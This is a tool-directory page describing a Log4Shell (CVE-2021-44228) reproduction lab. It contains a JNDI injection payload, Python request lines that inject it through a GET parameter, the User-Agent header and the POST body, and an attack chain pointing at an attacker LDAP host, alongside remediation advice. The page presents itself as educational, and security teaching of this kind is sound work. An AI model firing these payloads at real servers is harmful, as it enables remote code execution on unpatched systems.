Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4j2-vuln-lab — CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证 | Kitploit
Tools/GitHubGitHub/14free/log4j2-vuln-lab
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHub14free/log4j2-vuln-lab

log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证

View Repository
19h 35m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

⚠️ Disclaimer: This project is intended for security learning and technical research only. All vulnerability environments are set up locally, and no real targets have been tested. Do not use it for illegal purposes. The risk of using this project is borne by the user.

Log4j2 Vulnerability Reproduction Lab (CVE-2021-44228)

Vulnerability Overview

Log4j2 is the most widely used logging framework in the Java ecosystem. It has a Lookup feature that allows inserting dynamic content into logs using the ${...} syntax. In versions 2.14.1 and below, when log content contains ${jndi:...}, Log4j2 automatically initiates a JNDI request to the specified address, allowing attackers to achieve remote code execution (RCE).

This vulnerability is assigned CVE-2021-44228, with a CVSS score of 10.0 (maximum). The trigger condition is extremely simple, it affects almost all Java applications using Log4j2, and the exploitation cost is very low.

Environment Setup

Prerequisites: JDK 8+, Maven, Python 3, requests library

Step 1: Start the vulnerable lab

Open the project with IDEA and run VulnApplication.java. The following output indicates successful startup:

root@kitploit:~
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds

Step 2: Run the PoC script

root@kitploit:~
cd exploit
pip install requests
python exploit.py

Vulnerability Reproduction

Payload Construction

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/EvilClass}

Attack Vector 1: GET Parameter

Inject the payload via URL parameters to trigger logger.info("User Login: {}", username):

root@kitploit:~
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)

Attack Vector 2: User-Agent Header

Inject the payload via HTTP request headers to trigger logger.info("User-Agent: {}", headers):

root@kitploit:~
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)

Attack Vector 3: POST Request Body

Inject the payload via the POST request body to trigger logger.info("Data: {}", body):

root@kitploit:~
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)

Reproduction Results

root@kitploit:~
[+] Connection received! From 127.0.0.1:51631
[+] Vulnerability confirmed! Log4j2 initiated a JNDI request
[+] CVE-2021-44228 reproduction successful

The listener received a TCP connection from the lab, indicating that Log4j2 parsed ${jndi:...} and initiated an LDAP request, confirming the vulnerability exists.

Vulnerability Principle

Lookup Mechanism

Log4j2's Lookup feature allows inserting dynamic content into logs using the ${...} syntax, such as ${env:PATH} to read environment variables and ${sys:user.dir} to read system properties.

JNDI Injection

JNDI (Java Naming and Directory Interface) is Java's naming and directory interface. Given an address, it looks up and returns the result. If the returned result is a Java class, the JVM automatically loads and executes it.

Complete Attack Chain

root@kitploit:~
① Attacker enters in the input field: ${jndi:ldap://attacker-IP:1389/EvilClass}
    ↓
② The website receives the input and logs it with logger.info()
    ↓
③ Log4j2 parses the log content and detects ${jndi:ldap://...}
    ↓
④ Log4j2 initiates an LDAP request → connects to the attacker's server
    ↓
⑤ The attacker's LDAP server responds: "Download EvilClass.class from this address"
    ↓
⑥ The victim server downloads and loads the EvilClass class
    ↓
⑦ EvilClass's static code block executes automatically → RCE (Remote Code Execution)

Remediation

  1. Upgrade Log4j2 version: Upgrade to 2.17.1 or above, which disables the JNDI Lookup feature
  2. Set environment variable to disable Lookup: Add -Dlog4j2.formatMsgNoLookups=true to startup parameters
  3. WAF blocking: Add rules in the Web Application Firewall to block requests containing ${jndi:

Project Structure

root@kitploit:~
log4j2-vuln-lab/
├── pom.xml                          # Maven configuration, specifies vulnerable Log4j2 2.14.1 version
├── exploit/
│   └── exploit.py                   # PoC exploitation script, 3 attack vectors + TCP listener verification
└── src/main/
    ├── java/com/vuln/log4j/
    │   ├── VulnApplication.java     # SpringBoot startup class
    │   └── controller/
    │       └── UserController.java  # 3 vulnerability injection points (GET param/UA header/POST body)
    └── resources/
        ├── application.yml          # Port number + log level configuration
        └── log4j2.xml               # Log4j2 configuration file
Download Tool